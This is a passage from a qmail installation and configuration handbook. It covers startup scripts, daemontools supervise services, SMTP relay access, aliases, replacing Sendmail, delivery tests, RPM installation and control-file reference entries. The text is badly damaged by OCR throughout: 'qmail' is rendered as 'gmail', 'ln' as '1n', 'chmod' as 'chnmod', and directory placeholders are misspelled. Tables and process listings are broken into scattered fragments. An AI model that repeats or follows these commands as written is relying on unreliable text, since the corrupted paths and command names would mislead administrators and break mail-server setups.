Make the startup script executable and link it to adirectory in your PATH:

# chnmod 755 /var/qmail/bin/qgmailctl
# 1n -s /var/qgmail/bin/qgmailctl /usr/local/sbin
#

Now we need to arrange for /var/gmail/bin/gmailctl start to be executed each time the system boots.

BSD-stylerc.local

On BSD-based systems, thisis done by adding the following to /etc/rc.local:

if [ -x /var/qgmail/bin/gmailctl ]; then
[var/qmail/bin/gmailctl start
fi

System V-gtyleinit.d

On System V-based ingtdlations, this can be accomplished by symbolicdly linking the script to the appropriate
directories. Firgt istheinit.d directory, which should bein one of the following locations:

[etc/init.d

[soin/init.d

[etc/re.d/init.d

You'll dso need to link the script into acouple of rc directories. These directories are named like reN.d, where N is
the system runlevel to which they apply. There are many variationsin the startup directory treefor different operating
systems, soif you can't find the rc directories, consult your system documentation. They will probably bein one of
thefollowing locations.

[etc


http://www.apress.com
http://www.apress.com

/soin

[etc/rc.d

To createthe links, execute the following commands, replacing INITDIR and RCDIR with the location of your
system'sinit.d and rc directories:.

Chapter 5, "Managing gmail," covers using the gmailctl script manualy.

Thegmail Services

# In -s /var/gmail/bin/gmailctl

#1n -s ../init.d/gmil RCDR/rcO
#1n -s ../init.d/gmail RCDIR/rcl.
#1n -s ../init.d/gmil RCDR/rc2
#1n -s ../init.d/gmil RCDR/rc3
#1In -s .. /init.d/ gmail RCD R/rc4.
#1n -s ../init.d/gmil RCDR/rc5
#1n -s ../init.d/gmil RCDR/rc6

Note

I NIl TDI R/ gnai

d/ K30qmai |
d/ K30qmai |
d/ S80qmai |
d/ S80qmai |
d/ S80qmai |
d/ S80qmai |
d/ K30qmai |

These numbersare highly system
dependent but somewhat flexible. If
Sendmail iscurrently ingdled, running
the command find RCDIR -name
"*sendmail” -print will giveyou
numbers that should work for your
sysem.

A basic gmail ingtdlation requires two services: one for the long-lived daemons and one for incoming SMTP
connections. Each service will require arun script, which contains the command used by superviseto start the
sarvice, and alog/run script, which contains the multilog command used to log the output of the serviceto afile.

These sripts are stored under /var/gmail/supervise and symbolicaly linked to /service. Thislets you temporarily

remove asarvice (thelink in /service) without removing the scripts.

First, create the supervise directories for the gmail services:

# nkdir -p /var/gnmail/supervise/gmil-send/| og
# nkdir -p /var/gmail/supervise/gmail-sntpd/| og

# chnod +t /var/qgmail/supervise/gmil -send
# chnod +t /var/qgmail/supervise/gmil -sntpd

#



The chmod +t commands st the "sticky™ bit on the main service directories, which tells supervise that the services
have logging subservices that aso need to be run.

Using your editor, cregte the /var/gmail/supervise/gmail-send/run file:

#!'/ bi n/ sh
exec /var/qmail/rc

Thisjust runsthe /var/gmail/rc script weve aready set up.

Now create the var/gmail/supervise/gmail-send/log/run file:

#!'/ bi n/ sh
exec /usr/local/bin/setuidgid gmaill /usr/local/bin/multilog t /var/log/qmail

Thislog script runs setuidgid from daemontool s to change to the gmail log user before executing multilog, which will
writeits output to the /var/log/gmail directory. Now create the /var/gmail/supervise/gmail-smtpd/run file:

#!'/ bi n/ sh
# next three lines have backquotes ('), not single quotes (')
QWAI LDUID="id -u gmaild'
NOFI LESG D='id -g qmaild'
MAXSMIPD=' head -1 /var/qgmail/control/concurrencyi nconi ng'
if [ -z "SQVAILDU D' -0 -z "$NOFILESA@ D' -0 -z "SMAXSMIPD' ]; then
echo QVAI LDU D, NOFILESGA D, or MAXSMIPD i s unset in
echo /var/qgmail/supervise/ qmail -sntpd/run
exit 1
fi
exec /usr/local/bin/softlinmt -m 2000000 \
/usr/local/bin/tcpserver -v -p -x /etc/tcp.sntp.cdb -c "$MAXSMIPD' \
-u "$QWAI LDUI D' -g "$NOFILESG@ D' 0 25 /var/qgmail/bin/gmail-sntpd 2>&1

Thisoneisalittle more complicated. First, it usestheid command to look up the user ID and group ID of the gmail
daemon user. Then, it reads anumber from anonstandard gmail control file, concurrencyincoming, which will limit the
number of smultaneousincoming SMTP sessons. Next, it checksto be surethat it's gotten vaues for these settings
beforeit triesto start tcpserver. Findly, it runs softlimit from daemontools to limit the memory used by each sesson
to 2 megabytes and starts tcpserver from ucspi-tep listening to the SMTP port. When it accepts a connection,
tcpserver will verify that the remote host has access to service by checking /etc/tcp.smtp.cdb before starting a
gmail-smtpd running under the gmail daemon user UID and GID to handle the connection.

Note
concurrencyincoming isn't astandard
gmalil contral file. It'saspecia festure
of the previous script.



Note
Thememory limit specified inthe
softlimit command may need to be
raised depending upon your operating
system and hardware platform. If
attempts to connect to port 25 fail, or
remote systems are unable to send you
mail, try raising it to 3000000 or
4000000.

Note
Under Solaris, the norma id program
won't work correctly in this script.
Instead of id, use /usr/xpg4/bin/id; for
example, use
QMAILDUID="/usr/xpg4/bin/id -u
gmaild' and
NOFILESGID="/usr/xpg4/bin/id -g
gmaild'.

Create the concurrencyincoming control file:

# echo 20 > /var/qmail/control/concurrencyi ncon ng
# chnod 644 /var/qmail/control/concurrencyi ncon ng
#

For asmal system, alimit around twenty should be adequate. A large, busy server would, of course, require a higher
limit. Creste the var/gmail/supervise/lgmail-smtpd/log/run file:

#!'/ bi n/ sh
exec /usr/local/bin/setuidgid gnaill /usr/local/bin/multilog \
t var/log/qnail/smtpd

Again, thelogging will be done asthe gmail log user, gmail. Theselogswill go to filesin the ivar/log/gmail/smtpd
directory.

Maketherun files executable:

chnmod 755 /var/ qmail / supervi se/ qmai | - send/ run
chnmod 755 /var/ gnail / supervi se/ qmai | -send/ | og/ run
chnod 755 /var/ qmail / supervi se/ qnai | -snt pd/run
chnmod 755 /var/ qnail / supervi se/ qmai | -snt pd/ | og/ run

H O HHH

Next, set up thelogging directories:

# nkdir -p /var/log/qmail/sntpd
# chown -R gmaill /var/log/qmail
#



Findly, link the servicesinto /service:

# In -s /var/gmail/supervise/gmail-send /var/gmail/supervise/gmail-sntpd /service
#

Note
gmail will gart automatically shortly
after theselinks are cregted. If you
don't want apartidly configured mail
system running, do gmailctl stop now.

SM TP Access Control

Normally you won't deny access via SMITP to your mail server because you want to be able to accept mail from all
systems. (There are exceptionsto this rule, though, and they will be covered in Chapter 8, "Contralling Junk Mail.”)
But in addition to smply granting or denying accessto your SMTP service, you can sdlectively grant specid access
to connections coming from trusted systems. Thisis most frequently used to allow certain hoststo use your service as
arelay: asystem that accepts mail from aremote sender destined for a remote recipient.

Because gmail-smtpd assumesthat all connections are from remote systems-even those from the local host-well
specificaly alow thelocd host to relay:

# echo '127.:all ow, RELAYCLI ENT="""' >/etc/tcp.smtp
# gmailctl cdb

Rel oaded /etc/tcp.smtp.

#

Note
RELAYCLIENT should be st to the
empty string-nothing between the
double quotes.

Thefirst line adds an entry to the SMTP accessfile, which will cause tcpserver to set the RELAY CLIENT
environment variable to the null string before starting gmail-smtpd for connections coming from | P addresses sarting
with 127, or, theloca host. When gmail-smtpd seesthat RELAY CLIENT isset, it will alow theclient torelay. The
second command rebuilds the SM TP access database used by tcpserver.

Create System Aliases

There are three system diases that should be created on dl gmail ingtdlations. Table 2-5 ligsthem.

Table 2-5: System Aliases



ALIAS PURPOSE

postmaster RFC 2821 required, points to the mail administrator
(you)

mailer-daemon Defacto standard recipient for some bounces

root Redirects mail from privileged account to the system
adminigtrator

To create these aliases, decide where you want each of them to go (probably either your local account or aremote
address) and create and popul ate the appropriate .gmail files. For example, say local user ericaisthe mail
adminigtrator and jess ca@blossom.example.net isthe system adminigtrator. The following commandswill creste the
gppropriate aiases.

# echo \ & essi ca@®l ossom exanpl e. net > /var/qnail/alias/.qmail-root

# echo \&erica > /var/qmail/alias/.qmail-postmaster

#1n -s .qmail-postmaster /var/qmail/alias/.qmail-nmailer-daenon

# chnod 644 /var/qmail/alias/.qmail-root /var/qmail/alias/.qgnmail-postmaster
#

Chapter 3, "Configuring gmail: The Basics," coversaiasesin detall.
Stopping and Disabling the Installed Mailer

gmail isnow fully ingtalled and configured. Therésjust one more thing we need to do before we start it: turn off any
currently running MTA. Although it's possible to s multaneoudy run both gmail and your exising MTA, whichis
probably Sendmail, it's not recommended unless you're experienced.

If your existing MTA is Sendmail, and you're usng a Sysem V variant, you should be able to stop it by running its
init.d script with the stop argument. For example, one of these should work:

/etc/init.d/sendmail stop
/binfinit.d/sendmail stop
letc/re.dfinit.d/sendmail stop

If you can't find an init.d/sendmail script, or you're usng aBSD variant, you can locate Sendmail's PID using ps-€f |
grep sendmail or pswaux | grep sendmail and stop it using



# kill process-1D- of -sendnai
#

where process-| D-of-sendmail isthe process D (PID) of Sendmail, as displayed by the ps command.

If your MTA isn't Sendmail, check your documentation for the correct shutdown procedure.

Y ou should aso consider removing theold MTA completely from your system. At least disabletheinit.d script or
comment the startup command out of /etc/rc.loca so it won't be restarted again when the system is rebooted.

For Red Hat Linux, for example, removing Sendmail can be accomplished by

# rpm-e --nodeps sendnmi l

Because Sendmail wasthe de facto Unix MTA for years, many scriptsand utilitiesrun it directly to send mail
messages. For this reason, gmail and other Unix MTAS provide asendmail replacement that emulates Sendmail's
behavior for injecting messages. gmail's sendmail resdesin /var/gmail/bin/sendmail, so well symbolicaly link it to the
traditiona location of Sendmail's sendmail:

# mv /usr/lib/sendmail /usr/lib/sendmail.old # ignore errors
# mv /usr/sbin/sendmail /usr/sbin/sendnmail.old # ignore errors
# chnmod O /usr/lib/sendmail.old /usr/sbin/sendmail.old # ignore errors
# In -s /var/qgmail/bin/sendmail /usr/lib

# 1n -s /var/gmail/bin/sendrmail /usr/sbin

#

Starting gmail

If you stopped gmail after creating the linksin /service, you should restart it now:

# gmail ctl start
Starting gmail .
#

If anything goeswrong, you can dwaysdo this:

# gmailctl stop

St oppi ng gmmi
grmai | - smt pd
grmai | - send

done

#



Thiswill stop al of the gmail services.

Tip
Theinst_check script located on the
officia book Web site (
http: //mww.apress.com) can be used
to hdp ensurethat theingalationis
correct before sarting gmail thefirst
time

Testing the I nstallation

Now that gmail isup and running, thefirgt thing you should do ismake sureit realy is up and running. Make sure the
long-lived daemons are running, no errors are being logged, and send a set of test messages.

Checking the daemons

The easest check istorunthis:

grmai l ctl stat

The output should look something likethis:

/service/qmail-send: up (pid 925) 326 seconds
/servicel/qmail-send/log: up (pid 927) 326 seconds
/service/qmail-sntpd: up (pid 928) 326 seconds
/service/qmail-snmtpd/log: up (pid 933) 326 seconds
messages in queue: O

messages i n queue but not yet preprocessed: O

Thefirgt four linesreport the status of the gmail services. All should be reported "up.” The rest isthe output of
gmail-gtat, which will probably not be interesting at this point.

Using the Pl Ds reported above, 925 and 928, use psto verify that those processes are running. For System V
derivatives

# ps -ef | grep 925

gmai | s 925 921 0 May02 ? 00: 00: 00 qmai | -send

r oot 937 925 0 May02 ? 00: 00: 00 gnail-Ispawn ./ Maildir/
gmailr 938 925 0 May02 ? 00: 00: 00 qnai | -rspawn

gmai | g 939 925 0 May02 ? 00: 00: 00 gnmi | -cl ean

#
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For BSD derivatives.

# ps waux | grep 925
gmails 925 0.0

r oot 2957 0.0
#

1392
1624

oo
N -

408
616

pts/0

0:
0:

00 gnuil -send
00 grep 925

Both commands show that process 925 is gmail-send running as the gmail send user. The System V verson also
shows gmail-send's children: gmail-lspawn running as root, gmail-rgpawn running as the gmail remote user, and

gmail-clean running asthe gmail queue user. If your ps command didn't show the children, do this:

# ps waux | grep gmail-send

r oot 921 0.1 1336
gmai | - send

gmai | s 925 0.1 1392
r oot 2959 0.2 1624
gmai | - send

# ps waux | grep gnuil -l spawn

r oot 937 0.1 1348
gmail -1 spawn ./ Mildir/

r oot 2961 0.2 1624
gmai | -1 spawn

# ps waux | grep gnail-rspawn
grai | r 938 0.1 1348
gmai | - r spawn

r oot 2963 0.2 1624

gmai | - r spawn
# ps waux | grep gqnail-clean

gmai | q 939 0.1 1340
gmai | - cl ean

r oot 2965 0.2 1620
gmai | - cl ean

#

Notice that the gmail-Ispawn output shows the defaultdelivery (/Maildir/) setting.

348

408

616

360

616

360

616

368

600

pts/0

pts/0

pts/0

pts/0

May 02
May02
06: 38
May 02

06: 39

May 02

06: 39

May 02

06: 39

If you find dl of the processes running asthe correct user, everything looks good so far.

Checking the L ogs

: 00

: 00

: 00

: 00

: 00

: 00

: 00

: 00

: 00

supervi se

gmai | - send
grep

grep

grep

grep

Check the gmail-send logsfor either a"status’ message or a"cannot start” message-it always prints one or the other:

# cd /var/l og/ gmai
# tai 64nl ocal < current

2001-03-17 18:02:17. 301996500 st at us:

#

| ocal

1/ 10 renpte 0/ 20

If you smply cat or morethelog file, you'll see something likethis:

@00000003ab3ed03120019d4 st at us:

1/10 renote 0/ 20



The differenceisthat the TAI64N timestamp won't be converted to local time because you didn't filter thelog
through tai64nlocal.

If you seea"gstatus’ message, gmail-send is successfully running.

Sending Test M essages

Send aseries of test messagesto verify that gmail isworking correctly.

Local User to L ocal User

Send yoursdlf ablank message:

echo to: me | /var/qgmail/bin/gmail-inject

Replace me with your persond username-not root. This crestes aminimal message and injectsit into gmail using
gmail-inject. Verify that the message has been ddlivered to your mailbox. If your defaultddivery is./Mailbox and you
don't havea.gmail file, try:

nore ~ne/ Mai | box

Y ou should see the test message.

If your defaultddivery is./Maildir/, use

# |s ~nme/ Mail dir/new
994551015. 1521. nash
#

If the ddlivery succeeded, the new directory will not be empty.

The ivar/log/gmail/current file should contain aset of entrieslikethis:

new nsg 53

info msg 53: bytes 246 from <ne@omai n> gp 20345 uid 666
starting delivery 1: nsg 53 to | ocal ne@onain

status: local 1/10 renote 0/ 20

delivery 1: success: did_1+0+0/

status: local 0/10 renote 0/ 20

end nmsg 53



Each linewill dso have atimestamp that |ooks something like @400000003b3f1d140961f84c.

WEell look at thelogs more closdly in Chapter 5, "Managing gmail.”

Local User to Nonexistent L ocal Address

If you're currently logged in as root, switch to your normal account:

# su - ne

Replace me with your persond username. Send ablank messageto an invalid loca address:

echo to: nonexistent | /var/qmail/bin/gmail-inject

Check your mailbox asin the previous step. It should contain a bounce message-a message explaining thet the
message to nonexistent was undeliverable.

The var/log/gmail/current file should now contain aset of entrieslikethis:

new nsg 53

info nmsg 53: bytes 246 from <ne@onmai n> gp 20351 uid 666
starting delivery 2: nsg 53 to | ocal nonexi stent @onai n
status: local 1/10 renote 0/ 20

delivery 2: failure: Sorry, no_muail box_here_by that nane. (#5.1.1)/
status: |l ocal 0/10 renote 0/ 20

bounce nmsg 53 gp 20357

end nmsg 53

new nsg 54

info nsg 54: bytes 743 from <> gp 20357 uid 666

starting delivery 3. nsg 54 to | ocal ne@lomain

status: local 1/10 renote 0/ 20

delivery 3: success: did_1+0+0/
status: local 0/10 renote 0/20
end nsg 54

This showsthe attempted ddlivery to nonexistent, which failed, followed by the ddivery of the bounce message.

Local User to Valid Remote Address

Send an empty message to your account on another system:



echo to: ne@xanple.com| /var/qmail/bin/gmail-inject

Check the logs to make sure the message was sent. Y ou should see something like this:

new nsg 53

info neg 53: bytes 246 from <ne@lonmai n> gp 20372 uid 666
starting delivery 4: nmsg 53 to renote nme@xanpl e.com
status: local 0/10 renote 1/20

delivery 4: success: 1.2.3.4 accepted_nessage./...
status: local 0/10 renote 0/20

end nmsg 53

Log into your remote account and verify that the message was received.

Local User to Local Postmaster

Send amessage to postmaster. Any combination of uppercase and lowercase |etters should work:

echo to: POSTmaster | /var/qgmail/bin/gmail-inject

L ook for the message in the mailbox specified in var/gmail/dias.gmail-postmaster.

Invalid Local User to Invalid L ocal User

Thiswill test the double bounce mechanism-bounce messagesthat are unddiverable are redirected to the
postmeaster. Send amessage with invaid sender and recipient:

$/var/qgmail/bin/gmail-inject -f nonexistent
To: unknownuser
Subj ect: testing

This is atest. This is only a test.
AD (hold "Ctrl" key and press "D' to send end-of-file)
$

Thiswill send a message from nonexistent to unknownuser. Check the postmaster's mailbox for the double bounce
message.

Group Membership Test

Thiswill test delivery to program and verify that the program runswith the right group membership. Firg, switch to
your normal user account if you're not there aready:

su - ne



Now create a.gmail fileto deliver to aprogram:

echo "|groups > MYCROUPS; exit 0" > $HOWE . qgnmil -groups
Under Solaris, use/usr/uch/groups instead of smply groups.
Thisdirects mail to me-groups to the groups command, which gppends its output to afile called MY GROUPS.

Send an empty message to me-groups:

/var/qmail/bin/gmil-inject me-groups < /dev/nul

Verify that MY GROUPS was created and contains the correct outpuit:

cat MYGROUPS
Y ou should see your normal group 1D only.
SMTP Server Test

Using telnet, connect to the SMTP server (gmail-smtpd) viathe SMTP port (25) and manualy enter the SMTP
commandsto send amessageto alocd user. In the following example, replace me with your username and domain
with your host'sfull domain name:

$ telnet 127.0.0.1 25
Trying 127.0.0. 1.
Connected to 127.0.0. 1.
Escape character is '~]'.
220 donmi n ESMTP

hel o dude

250 donmin

mai | from <ne@omai n>
250 ok

rcpt to: <me@onai n>
250 ok

dat a

354 go ahead

Subj ect: testing

This is a test.

250 ok 812345679 qp 12345

quit

221 donmin

Connection closed by foreign host.
$



Verify that the messageisin your mailbox.

If you get an error like the following from the telnet command, your SMITP serviceis not configured properly:

$ telnet 127.0.0.1 25
Trying 127.0.0.1...
telnet: Unable to connect to renpte host: Connection refused

$

See Chapter 6, "Troubleshooting gmail,” for information about locating and correcting the problem.

Remote User to L ocal User

From an account on another system, send a message to me@domain, replacing me with your username and domain
with your host'sfull domain name.

Verify that the messageisin your mailbox.

Remote User to Invalid Local User

From an account on another system, send a message to nonexistent@domain, replacing domain with your host's full
domain name.

Verify that the remote sender's mailbox received a bounce message.

Mail User Agent (MUA) Test

Using amail user agent (mutt, pine, and so on) on the system, send amessage to avalid local user. Send another to a
remote address. Verify that both were delivered successtully.

Remote to Postmaster

From an account on another system, send a message to PoStM aStEr@domain, replacing domain with your host'sfull
domain name. Verify that the message was delivered to the postmaster's mailbox, as when you were sending atest
message from aloca user to local postmaster.

If &l of these tests passed, congratulations Y ou've successfully installed gmail.
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An Overview of the Finished Product

Thefind ingdlation will have ivar/gmail containing the directories with the gmail binaries, documentation,
configuration files, control scripts, and queue. Some of these may be symbolic linksto other directoriesor file
sysems

The /service directory will contain symboalic links pointing to the control scripts under /var/gmail/supervise. These
sarvices will be started by svscan, which is started by init or rc.loca when the system boots.

The /service/lgmail-send service runs /var/gmail/rc, which runs gmail-gtart. gmail-gart starts gmail-send, the main
gmail daemon. The /service/gmail-send/l og service uses multilog to timestamp and record the output of gmail-send to
the ivar/log/gmail directory. The most recent log filewill be named current. multilog will autometicaly rotate the
gmail-send log files. The older log fileswill have namesthat are TAI64N timestamps. To view the current log file with
human-readable timestamps, you'll use the command:

tai 64nl ocal </var/log/qmail/current | nore

The /service/gmail-smtpd service runs atcpserver that listensto the SMTP port (25) and invokes gmail-smtpd. The
/service/gmail-smtpd/log service uses multilog to timestamp and record the output of tcpserver (gmail-smtpd
generates no output) to the /var/log/gmail/smtpd directory.

The /lvar/gmail/bin/gmailctl script will be used to control and monitor the gmail services.

< Free Open Study >




< Free Open Study >

Installing from RPM s

If you're serious about gmail, you should ingdl it from the source tar file for maximum control, flexibility, and
knowledge. It'snot trivid, but it's not redlly hard if you take your time and work carefully.

Casud Linux gmail instalers might prefer to trade the in-depth understanding and fine-grained control of the tarball
ingtallation for the convenience of ingtdling from an RPM package. gmail'slicensing makesit difficult to distribute
binary RPMs, so most gmail RPM s are source RPMs: bundles of scripts along with the originad gmail source-code
tarbdl. Installing a package from a source RPM is atwo-stage process. First, a binary RPM isbuilt from the source
RPM, and, second, the binary RPM isingaled.

Aswith thetarball ingtallation, most gmail RPM s require the ingtallation of additiona support packages such as
tcpserver and daemontools.

Choosing an RPM

Source RPM s build the included package directly from the source code. To do this, they or the creator must make
the same decisions required of a person building manually. These decisionsinclude compile-time configuration
options, the locations of ingtalled files, and optional source-code "patches’ that dter gmall's behavior. Asareaullt,
each source RPM package has akind of personality that reflects the packager's philosophy. Some packagerstake a
minimalist gpproach, taking the defaults whenever possible and doing everything in the most "standard” way they can.
(Whether they follow the gmail standards or the Red Hat standardsis another matter.) Others take the opportunity to
expressther persond preferencesin their packaging: doing thingsthe way they like them done and including patches

they like.

Finding an RPM compatible with your preferences can be adaunting and frustrating task, especidly if you have
strong fedings about how gmail should beingtaled. If you care much about these things, you're probably better off
doing atarbdl ingtalation.

For this example, we're going to use the gmail+patches RPM packaged by Bruce Guenter becauseit'sfairly
congstent with the tarball installation documented in this chapter. 1t uses the daemontools and ucspi-tcp support
packagesfor reliable, high-performance mail service suitable for awide range of applications.

Assumptions

For these ingtructions we assume you're ingtaling gmail under Red Hat Linux 7.1 on acomputer with an Intel or

I ntel-compatible processor. We dso assume that the system isfully ingtalled and configured, including the complete
development environment and network with accessto adomain name service (DNS) resolver. You'll also need afew
megabytes of free disk space, mostly under the /usr directory.



If theingdlation failsfor any reason, it'slikely that your system doesn't meet one of these assumptions.
Troubleshooting the deficiency is beyond the scope of thisbook, but numerous online Linux support forums are
availablefor assstance such as the comp.os.linux.admin Usenet newsgroup.

Downloading the RPM s

The gmail+patches Web page (http://untroubled.org/gmail +patches FEATURES html ) detail s the festures and
prerequisites of the gmail+patches RPM and contains linksto the files you'll need to download, currently:

http://ww. untroubl ed. or g/ supervi se-scri pt s/ supervise-scripts-3.3-1. noarch.rpm
http://ww. untroubl ed. org/ r pns/ daenont ool s/ rh7. 1/ daenont ool s- 0. 70- 3. i 386. r pm
http://ww. untroubl ed. org/ rpns/ucspi-tcp/ucspi-tcp-0.88-1.i386.rpm

http://ww. untroubl ed. or g/ ucspi - uni x/ ucspi - uni x- 0. 34-1.i 386. r pm

http://ww. untroubl ed. org/ gnai | +pat ches/ current/gmail - 1. 03+pat ches-18. src. rpm

Using your Web browser, download these packages to your system into the /root directory.

Installing the RPM's

Firg, ingtdl the RPM s for the support packages. As user root

# cd

# rpm-i ucspi-tcp-0.88-1.i386.rpm

# rpm -i daenont ool s-0. 70- 3.1 386. r pm

# rpm-i ucspi-unix-0.34-1.i386.rpm

# rpm-i supervise-scripts-3.3-1.noarch.rpm
#

Now build the binary gmail+patches RPM:

# rpm--rebuild gnail-1. 03+patches-18.src.rpm
Installing gnmail-1. 03+patches-18.src.rpm

Executi ng(%prep): /bin/sh -e /var/tnp/rpmtnp. 92316
+ unmask 022

+ cd /usr/src/redhat/BU LD

et cetera

Thiswill generate agreat deal of output and will take a couple of minutes on amodern computer. If everything goes
according to plan, thelast few lines of output should look something likethis:

Executing (--clean): /bin/sh -e /var/tnp/rpmtnp. 90540
+ unmask 022

+ cd /usr/src/redhat/BU LD

+rm-rf gmail-1.03


http://untroubled.org/qmail+patches/FEATURES.html
http://untroubled.org/qmail+patches/FEATURES.html
http://www.untroubled.org/supervise-scripts/supervise-scripts-3.3-1.noarch.rpm
http://www.untroubled.org/rpms/daemontools/rh7.1/daemontools-0.70-3.i386.rpm
http://www.untroubled.org/rpms/ucspi-tcp/ucspi-tcp-0.88-1.i386.rpm
http://www.untroubled.org/ucspi-unix/ucspi-unix-0.34-1.i386.rpm
http://www.untroubled.org/qmail+patches/current/qmail-1.03+patches-18.src.rpm

+ exit O

Ingal the newly built binary RPM:

# rpm-i /usr/src/redhat/RPMS/ i 386/ qmail - 1. 03+pat ches-18.i 386.rpm
Read /usr/share/ doc/ READMVE. service for instructions

on starting and stopping gmail services.

#

At thispoint, if you're running another MTA and it's listening to the SMTP port (25), you'll need to disableit. For
example, to sop Sendmail:

# letc/rc.d/init.d/ sendmail stop
#

If you're running some MTA other than Sendmail, consult your documentation for details on stopping it cleanly.

If you don't need the old MTA, it'sagood ideato remove it completey:

# rpm-e --nodeps sendnsi |
#

Now that port 25 isfree, add an SMTP service:

# svc-add /var/qmail/service/sntpd
#

gmall isnow fully ingtalled and running. Seethe " Testing the Inddlation” section of the tarbdl ingtdlation indructions
for details on verifying the correct operation of your installation.

Caveats

If you ingtal from RPMs, there are afew things you should be aware of:

gmail+patches includes a patch to implement message logging, o each messageis copied to msglog.

By default, logging is done usng Sydog, not multilog, so the location of the logswill be determined by
/etc/syd og.conf.



The default ddlivery ingtructions are configured in control/diasemtpy, which isfunctiondly equivadent to the
control/defaultddivery contral fileintroduced inthe" Ingtdling gmail Step by Step™ section of this chapter.

Table 2-6 showswherethefilesareingalled usng the gmail+patches RPM and the tarbal ingtructions earlier inthis

chapter.

Table 2-6: Ingdlation Directory Comparison for gmail+patchesvs. Tarbdl

gmail+PATCHES TARBALL DESCRIPTION

/bin/checkpassword None POP password checker

[etc/cron.hourly/gmail None Cronjob to rebuild gmail-users
database

/etc/profiled None Login scripts

letc/gmail/dias Nalgmail/dias Sysem diases

/etc/gmail/control Ivar/lgmail/control Control files

letc/gmail/owners

None

Files containing gmail UIDsand GIDs

letc/gmail/users

Narlgmail/users

gmail-users files

[etcltepeontrol

[etc

TCP access control

fusr/bin

Narlgmail/oin

gmall programs

/usr/share/doc/gmail-1.03 +patches

Ivar/gmail/doc

Documentation files

Jusr/share/man

Nalgmail/man

man pages

Narlgmall/queue

Ivarlgmall/queue

Queue




Iarlgmail/service Narlgmail/supervise Run scripts
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Conclusion

At thispoint, gmail should beingtaled and running on your system, whether you ingtalled from the source tarbal or a
source RPM. Y ou should know about the configuration options available a compile/ingdl time, including the default
mailbox format. Y ou should understand the limitations of Sydog and inetd and be aware of the packages that replace
them: daemontools and ucspi-tcp.

In Chapter 3, "Configuring gmail: The Basics," you'll learn how to configure your gmail system for more advanced
applications, such as selective relaying, multiple host names, and virtua domain hosting. Y ou'll also learn about
gmail'saiasing mechaniams.
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Chapter 3. Configuring gmail:
TheBasics

Chapter 2, "Ingtaling gmall," provided detailed instructions on how to ingal gmail. This chapter containsinformation
the mail adminigtrator or system adminigtrator needsto configure gmail.

Overview

This chapter coversthe configuration of gmail:

Firdt, well provide areference for al of the control filesused by gmail. Thesefilesresidein
Ivar/gmail/control, and each file sets one configuration setting.

Then, well cover thetopic of rdaying, whichiswhen aMail Transfer Agent (MTA) accepts amessagevia
Smple Mail Transfer Protocol (SVITP) and sendsit to another MTA, instead of ddivering it locdly.

Next, well show how to configure systems with more than one name: either asaiases of their "redl” name or
asindependent virtud domains.

Finaly, well document gmail's dias mechanism and the gmail-usersfacility, a powerful, table-driven method
for assgning diasesto users.
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Control Files Reference

Y ou configure gmail mostly by setting variablesin contral filesin the /var/gmail/control directory. Eachfileinthis
directory containsthe vaue or valuesfor a single control setting. All of the control files are optiona except one: me,
which must contain thefully qudified domain name of the host system. The me setting is not used directly by any of
the programsin the gmail suite; it's used as the default for other controls that specify ahost name.

The gmail-control man page is ahandy reference listing the contral files, their default values, and the specific program
that usesthem. To find out what a control file controls, you must check the man page for the specified program.

Under standing the Format

Thefollowing sections document each of the contral files.

Each section containsthe following informeation:

Used by showswhich gmail program usesthe contral file. If you want to consult the man page that
documentsthe control file, thisfield identifies the appropriate page.

Default showsthe valuethat will be used for the control if the contral file doesn't exidt. If the default isme,
then the value used is the va ue contained in the me control file,

Comments indicates whether the contral file can contain comment lines lines beginning with apound sign (#)
that areignored by the program that usesthefile.

Pur pose describes the function of the control setting.

Caveats provides some usage tips and cautions and documents any actions that must be taken for achange
to the contral fileto take effect.

Example provides an example of the usage of the contral file.



Caution
Unless comments are allowed, the
settingsin acontrol file must start on the
firg line of thefile. Contral filesmust
not contain extraneous spaces, tabs, or
blank lines.

badmailfrom

Used by: gmail-smtpd

Default: None

Comments: Yes

Purpose: A list of addresses from which the SMITP server will reject mail. Each entry must be listed on a separate
line. Hosts may be wildcarded by leaving the loca part of the address empty.

Caveats: Asthe name badmailfrom implies, entries are matched against the argument of the SMTP MAIL FROM
command, not the"From:" header field in the message. If you think badmailfrom isn't working, chances are good that
the"From:" field doesn't match the envel ope sender.

Example: To rgect mail with an envelope return path of spammer@example.com and al addresses at
freemoney.example.net, placethefollowing in the badmailfrom file:

# Reject mail from known spamers
spamer @xanpl e. com
@ r eenoney. exanpl e. net

bouncefrom

Used by: gmail-send

Default: MAILER-DAEMON

Comments: No

Purpose: The username in the From header field of bounce messages. The complete From field of abounce message
isgenerated from bouncefrom@bouncehost.

Caveats: gmail-send must be restarted to change bouncefrom.

Example: To have bounce messages gppear to come from the postmaster, place the following in the bouncefrom file:



post nast er

bouncehost

Used by: gmail-send
Default: me

Comments: No

Purpose: The host namein the From header field of bounce messages. The complete From field of abounce
message is generated from bouncefrom@bouncehost.

Caveats: gmail-send must be restarted to change bouncehost.

Example: To have bounce messages appear to come from example.com, place the following in the bouncehost file:

exanpl e. com

concurrencyincoming

Used by: tcpserver

Default: None
Comments: No

Purpose: Limitsthe number of concurrent incoming SMTP sessions the number of gmail-smtpd processes that
tcpserver will dlow.

Caveats: concurrencyincoming is not astandard gmail contral file. It'simplemented in the gmail-smtpd/run script
suggested in the online "Life with gmail" guide and in theingdlation indructionsin Chapter 2, "Ingdling gmail," of this
book. Changing concurrencyincoming requires restarting the gmail-smtpd tcpserver process, which isusualy
accomplished by doing this

svc -t /service/qgnail-smntpd

Example: To limitincoming SMTP connectionsto 100, place the following in the concurrencyincoming file:



100
concurrencylocal

Used by: gmail-send

Default: 10
Comments: No
Pur pose: The maximum number of Smultaneous|oca ddiveries.

Caveats: Set too low, concurrencyloca will unnecessarily delay incoming mail. Set too high, aflood of incoming
messages will cause gmail-Ispawn to spawn more gmail-loca processes than the system can handle. gmail-send must
be restarted to change concurrencyloca . The maximum alowable concurrencyloca valueislimited by the
compile-time setting in conf-gpawn (see Chapter 2, "Inddling gmail,” for moreinformation on compile-time
configuration settings).

Example: Tolimit concurrent loca deliveriesto 30, place thefollowing in the concurrencylocd file:

30

Tip
Thedefault value of 10isfinefor smal
systems, but abusy mail sysem with
meany mailboxeswill require ahigher
limit. If your gmail-send logsindiceate
that you're frequently hitting the limit,
you should consder raisingit.

concurrencyremote

Used by: gmail-send

Default: 20
Comments: No

Pur pose: The maximum number of Smultaneous remote ddliveries.



Caveats: Set too low, concurrencyremote will unnecessarily delay outgoing mail. Set too high, aflood of outgoing
messages will cause gmail-rgpawn to spawn more gmail-remote processes than the system can handle. gmail-send
